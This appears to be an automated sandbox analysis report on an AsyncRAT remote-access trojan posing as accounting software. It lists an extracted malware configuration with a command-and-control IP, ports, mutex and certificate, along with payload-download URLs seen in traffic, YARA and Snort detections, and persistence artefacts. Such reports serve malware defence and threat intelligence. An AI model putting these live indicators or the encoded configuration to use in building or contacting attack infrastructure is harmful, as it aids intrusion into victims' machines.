Malware Configuration Extractor: AsyncRAT {"Ports": ["6606", "7707", "8808"], "Server": ["204.12.199.30"], "Mutex": "Bbtt03i3Zbxo", "Certificate": "MIIE8jCCAtqgAwIBAgIQAOd8JAii5M5++OnIagLrMTANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjQwMjI2MDg0MzU2WhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIOYWpZtR4+pV6eLVgmoW0pmFYYGm9MA+E38jZKadM0mAmNmtr24EWva8gLkn0jY887Tz5347cDo2BpaCAsnAktrEy5d5Bpc1aeAqIb0YCxwMJQGMkE0qwGViGunPUyPzzk6qoqQw/BZPNrQh13JLBN/++Xg5rspfo6GrmqAYpcyoh+nmtbBt/wfQsjrDmZ3TBNCniJX4Ax2lfymDtG/oOlmwo0YXGL/rszP7UxRo0V29mFPG5kEm+346UEZRNeIzf1FV/30VxvyZO8v/PBzVZOyav8MFGZSdo/7y8cdzIWwd+LcUAmZtSxFigD6YRLLwry7klVR0MpzqXqm9V7Cyqlbe04xIV1/UjhdSIDmGqnA8AMp+pwJRZRI3RMhE7HTbjzLULjBoUUTkcMLlIAPmflnfyyyHwxOr9SrHGfyecgDHH0q3/LMgH30jejoUvT2WyQYi5O6PdzX4ifLrQO7JJ6QNd6sihnR0U/IjQRaM0TJay0tQd/R3nHkzNjoBFCu/yBUGVVvFJabfpP14a5PCgQI1qG2JKXd49hK0v0B65ZjDY4vwan+qlP9n+KWeeK6jIg1qnkScg/88vUZKBv8mP6s2cbq+TFHgBoxrxVxIiM3N81tWZC7e6BRBcqORtpngao2N+16NLMsjMCjpY0hTeyQOJP9toGnmyY6Moxs0ciTAgMBAAGjMjAwMB0GA1UdDgQWBBRJpCHBn9DcES+YzHzK1/1Xt6WvWzAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQAow/Tq1W/Y/rkz41iTb/g5jrpI0VYmar2AH0Gcud9JaLtJ6hs4klWzG/C36xI4ModlwDQqGWTqkhG17pAFwOZV7OPmMqGEXANvDfjrQqu2Zm5YLaMLVVTQNuHKQPAq+n0ILbDre+Rq1oVxxhRCv1Yz/toSe3W3vRefl2GpoPGgwd5xtUnOytoaeFjOyYtXRMDzwbP9bUeSliHCnsBHkhTulMTjKBgJm7cvRw3FqTQAO95qzwIA4eQORnCynTZTM8sLYD597unFJehoZ8MRwEvnhq0od7nUn/JsDVna5mwRbJ413n/XtU7dIZkYvy0gQB0SMS8JPl0T4scz4Xbr0GSoj0YdRQmzlRXcTq9QQVqbE5X3j7voyrfY+fXLdthqeOObS0dALsAkrf6ILiAjr8wCVhW1URzlLBROgRs9swEoilJSdYxbHR9WvI2qw3LekrnZuLzBe8JUUcbDldrZFSUTuPiJYrDLCOQNZRG2uudymPvRqjnNDi9+3g3kzkB4AM7a2qSw+jZW6eXYGUFPeXjBanXsI0MJyNy9APnm3xi95iRqsR8iIqnKWzBqGF1E7LlsfZSn/fs9zZLgZH1CXFtpYxkWItnJdvOWA8q8RlrIZbf9Y7r5vIVwTR5pa+kGhW7Dvn24gaTp22GMRPSVXs1Ye4ztEm8MJbNNja3bUvx64A==", "Server Signature": "OHKZ7NWYl69EYIQcyC6+PGfU36n99thKqZdxN0puh4L1ETCwoOa29nJb96GrK7QKRepJZnvN+MRxczJy/Px1REeunjNO5Y//T/IyjBXZND5C8On0ON2cjRX83tRDp+Ioric9U5TtKN1Jq7L+GIGKanzfukOxSsg4f36h5IIQisCt8l9W8moK6s3BQDkx1NihC7WXyvRxf6UQsOdvhtD6fdi7h8NNBmEf0BwHbT74dNrA/9Te1MtfU1ddPlN6XT4EfFLKmKTpUGlegoneAsMRCPfpQbzmrfWmjXVMvUUg4E4HAWabE5U90mYvb+p9AcTVB+LCTlhs7KD3VtBDoKygN8IJcliOtp5FjfLKAIU6VAOi41SXMIFzGB11kVgd5fvhbJJgN7g3ZGQjesaSlXCmvzTnfyF2vPqvSnqc9KmTtZ2Cun1v4IztyqIlbYhEsSk5aa/MoOYLcVkgndI15PBP9WrrBwZqn3lgI86MOCtPPIilyL0pJLOGHvwRH7pC4AbJzmlvCyq0Foua4LyJGkDoQJsBuoPQF6I8XOlaNx4C0G+2mFZMloUlBPr/BdOawIaAU2SJldYrrCYHElg8YCpncvCfyJoo3GNuX22OdjgIaqORlg0+zv+1xcoKQIlIpcQi/puqHlRAZjEy5ZZC9GOG9dgAPYQopJKO8p/zMoDsP0g="}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates\Accounts_Ledger_Software.eXE	Virustotal: Detection: 53%			Perma Link

Multi AV Scanner detection for submitted file

Source: EGSh5caf8a.exe	ReversingLabs: Detection: 50%
Source: EGSh5caf8a.exe	Virustotal: Detection: 53%			Perma Link

Compliance

Uses 32bit PE files

Source: EGSh5caf8a.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

PE / OLE file has a valid certificate

Source: EGSh5caf8a.exe

Static PE information: certificate valid

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: EGSh5caf8a.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2035595 ET TROJAN Generic AsyncRAT Style SSL Cert 204.12.199.30:8808 -> 192.168.2.7:49710
Source: Traffic	Snort IDS: 2030673 ET TROJAN Observed Malicious SSL Cert (AsyncRAT Server) 204.12.199.30:8808 -> 192.168.2.7:49710

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 204.12.199.30 ports 20991,0,1,2,8808,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 20991
Source: unknown	Network traffic detected: HTTP traffic on port 20991 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 20991
Source: unknown	Network traffic detected: HTTP traffic on port 20991 -> 49709

Yara detected Generic Downloader

Source: Yara match

File source: 0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack, type: UNPACKEDPE

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.7:49708 -> 204.12.199.30:20991

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /hatthgola.vmp.dll HTTP/1.1Host: 204.12.199.30:20991Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /async.txt HTTP/1.1Host: 204.12.199.30:20991

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: WIIUS WIIUS

Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30
Source: unknown	TCP traffic detected without corresponding DNS query: 204.12.199.30

Source: global traffic	HTTP traffic detected: GET /hatthgola.vmp.dll HTTP/1.1Host: 204.12.199.30:20991Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /async.txt HTTP/1.1Host: 204.12.199.30:20991

Source: EGSh5caf8a.exe, 00000000.00000002.1314795117.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://204.12.199.30:20991
Source: EGSh5caf8a.exe, 00000000.00000002.1314795117.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://204.12.199.30:20991/hatthgola.vmp.dll
Source: Accounts_Ledger_Software.eXE.0.dr	String found in binary or memory: http://204.12.199.30:20991/hatthgola.vmp.dllC:
Source: EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: schtasks.exe, 00000004.00000002.1218984003.0000000002FF8000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000022.00000002.1258049891.00000000030C8000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 0000003A.00000002.1281197103.00000000032F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.m
Source: schtasks.exe, 00000024.00000002.1260760619.0000000002A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microH
Source: EGSh5caf8a.exe, 00000000.00000002.1314795117.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: EGSh5caf8a.exe, Accounts_Ledger_Software.eXE.0.dr	String found in binary or memory: https://sectigo.com/CPS0

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 0.2.EGSh5caf8a.exe.28dc200.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EGSh5caf8a.exe PID: 180, type: MEMORYSTR

DDoS

Too many similar processes found

Source: schtasks.exe

Process created: 58

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.EGSh5caf8a.exe.28dc200.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 0.2.EGSh5caf8a.exe.28dc200.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: EGSh5caf8a.exe PID: 180, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen

Detected potential crypto function

Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Code function: 0_2_02794720		0_2_02794720
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Code function: 0_2_02795CB8		0_2_02795CB8

Sample file is different than original file name gathered from version info

Source: EGSh5caf8a.exe, 00000000.00000002.1321136441.00000000068E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamehatthgola.dll: vs EGSh5caf8a.exe
Source: EGSh5caf8a.exe, 00000000.00000002.1313407501.0000000000AAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs EGSh5caf8a.exe
Source: EGSh5caf8a.exe, 00000000.00000000.1213787103.0000000000472000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAccounts_LEDGER_Softwares.exeT vs EGSh5caf8a.exe
Source: EGSh5caf8a.exe, 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameStub.exe" vs EGSh5caf8a.exe
Source: EGSh5caf8a.exe, 00000000.00000002.1318651208.00000000038F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAccounts_LEDGER_Softwares.exeT vs EGSh5caf8a.exe
Source: EGSh5caf8a.exe, 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameStub.exe" vs EGSh5caf8a.exe
Source: EGSh5caf8a.exe	Binary or memory string: OriginalFilenameAccounts_LEDGER_Softwares.exeT vs EGSh5caf8a.exe

Uses 32bit PE files

Source: EGSh5caf8a.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Yara signature match

Source: dump.pcap, type: PCAP	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.EGSh5caf8a.exe.28dc200.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 0.2.EGSh5caf8a.exe.28dc200.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 00000000.00000002.1314795117.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 00000000.00000002.1314795117.00000000028DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Process Memory Space: EGSh5caf8a.exe PID: 180, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys

Source: 0.2.EGSh5caf8a.exe.28dc200.0.raw.unpack, Settings.cs

Base64 encoded string: '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'

Source: classification engine

Classification label: mal100.troj.evad.winEXE@100/3@0/1

Source: C:\Users\user\Desktop\EGSh5caf8a.exe

File created: C:\Users\user\AppData\Roaming\MicrosoftwindowsUpdates

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7072:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7016:120:WilError_03
Source: C:\Users\user\Desktop\EGSh5caf8a.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6216:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5464:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7532:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3092:120:WilError_03
